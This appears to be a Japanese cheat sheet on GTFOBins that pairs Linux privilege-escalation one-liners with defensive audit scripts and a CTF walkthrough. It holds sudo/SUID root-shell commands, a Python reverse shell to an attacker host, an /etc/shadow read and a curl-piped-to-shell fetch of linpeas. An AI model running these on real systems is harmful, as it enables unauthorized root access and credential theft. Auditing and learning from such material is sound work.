GTFOBins：Linuxシステム管理者のための権限昇格・脱出ツール集

# /etc/sudoers に "user ALL=(ALL) NOPASSWD: /usr/bin/find" がある場合
sudo find . -exec /bin/sh \; -quit

# または -exec を使ってシェルを起動
sudo find /etc/passwd -exec /bin/bash \;

# Shellコンテキスト：制限されたシェルからの脱出
python3 -c 'import os; os.system("/bin/sh")'

# SUIDコンテキスト：python3にSUID bitがある場合
python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'

# Reverse Shell：攻撃者マシン(10.0.0.1:4444)へ接続
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("10.0.0.1",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

# ファイル読み取り：root所有の/etc/shadowを読む（SUID awkがある場合）
LFILE=/etc/shadow
awk '//' "$LFILE"

# シェル起動（Sudoコンテキスト）
sudo awk 'BEGIN {system("/bin/sh")}'

# cap_setuid+eip が設定されたbashの場合
cp $(which bash) .
sudo setcap cap_setuid+eip bash  # 管理者が誤って設定したケース

./bash -p  # 特権でbashを起動（-p は effective UID を保持）

# 現在のsudo権限を確認
sudo -l

# 出力例（危険な設定の例）
# (ALL) NOPASSWD: /usr/bin/find
# (ALL) NOPASSWD: /usr/bin/python3
# (ALL) NOPASSWD: /usr/bin/vim

# これらはすべてGTFOBinsでrootシェル取得が可能なバイナリ

#!/bin/bash
# sudoers内のGTFOBins掲載バイナリを検出するスクリプト例
DANGEROUS_BINS=(awk find python python3 perl ruby vim nano less more man git docker wget curl nc ncat)

sudo -l | grep -E "NOPASSWD" | while read -r line; do
    for bin in "${DANGEROUS_BINS[@]}"; do
        if echo "$line" | grep -q "$bin"; then
            echo "[WARNING] Potentially dangerous sudo permission: $line"
        fi
    done
done

# システム上のSUID/SGIDバイナリを検索
find / -perm /4000 -o -perm /2000 2>/dev/null | sort

# 結果をGTFOBinsのリストと照合して危険なバイナリを特定
# 特に注意が必要なSUID候補: python3, perl, ruby, bash, dash, vim

# cap_setuid や cap_net_admin が付与されたバイナリを検索
getcap -r / 2>/dev/null

# 危険なCapabilities例:
# /usr/bin/python3.9 = cap_setuid+eip
# /usr/bin/perl = cap_setuid+eip

# 典型的な初期調査コマンドシーケンス
id && whoami                    # 現在のユーザーとグループを確認
sudo -l                         # sudo権限の確認
find / -perm -4000 2>/dev/null  # SUID バイナリの検索
getcap -r / 2>/dev/null         # Capabilities の確認
ls -la /etc/cron*               # Cronジョブの確認
cat /etc/passwd                 # ユーザーリストの確認

# SELinuxの状態確認
getenforce
# Enforcing: 多くのGTFOBins手法が制限される
# Permissive: ログは残るが制限はされない
# Disabled: 制限なし

# AppArmorの状態確認
aa-status 2>/dev/null || apparmor_status 2>/dev/null

# 新しいバイナリエントリのYAML形式
# _gtfobins/newbinary.yaml として作成
# - name: newbinary
#   functions:
#     shell:
#       - description: "シェルを起動する"
#         code: |
#           newbinary -c "/bin/sh"

# Step 1: 低権限ユーザーでシステムにアクセス後
id
# uid=1001(ctfuser) gid=1001(ctfuser) groups=1001(ctfuser)

# Step 2: sudo権限を確認
sudo -l
# User ctfuser may run the following commands:
#     (root) NOPASSWD: /usr/bin/vim

# Step 3: GTFOBinsで 'vim' の Sudo コンテキストを確認
# → https://gtfobins.org/gtfobins/vim/

# Step 4: 該当する手法を適用
sudo vim -c ':!/bin/sh'
# rootシェルが起動

#!/bin/bash
# セキュリティ監査スクリプト：GTFOBins観点での危険な設定を検出

echo "=== SUID バイナリ監査 ==="
find / -perm -4000 -not -path "/proc/*" 2>/dev/null | sort

echo ""
echo "=== 危険なSUID候補の確認 ==="
DANGEROUS_SUID=(python3 perl ruby bash dash vim nano less more man git)
for bin in "${DANGEROUS_SUID[@]}"; do
    result=$(find / -name "$bin" -perm -4000 2>/dev/null)
    if [ -n "$result" ]; then
        echo "[ALERT] SUID設定のある $bin: $result"
    fi
done

echo ""
echo "=== Capabilities 監査 ==="
getcap -r / 2>/dev/null

echo ""
echo "=== Sudo 権限確認 ==="
echo "このユーザーのsudo権限:"
sudo -l 2>/dev/null

# LinPEASでシステムをスキャン
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh

# 出力に含まれる「Sudo version」「SUID binaries」セクションの結果を
# GTFOBinsで検索して具体的な手法を確認

# 1. リポジトリをフォーク後クローン
git clone https://github.com/YOUR_USERNAME/GTFOBins.github.io.git
cd GTFOBins.github.io

# 2. 新しいバイナリのYAMLファイルを作成
# _gtfobins/newbinary/ ディレクトリまたは .yaml ファイルとして追加

# 3. ローカルでJekyllを起動して確認
bundle exec jekyll serve

# 4. プルリクエストを作成
# タイトル: "Add newbinary - shell, sudo"
# 説明: テストした環境・バージョン・コマンドの説明を含める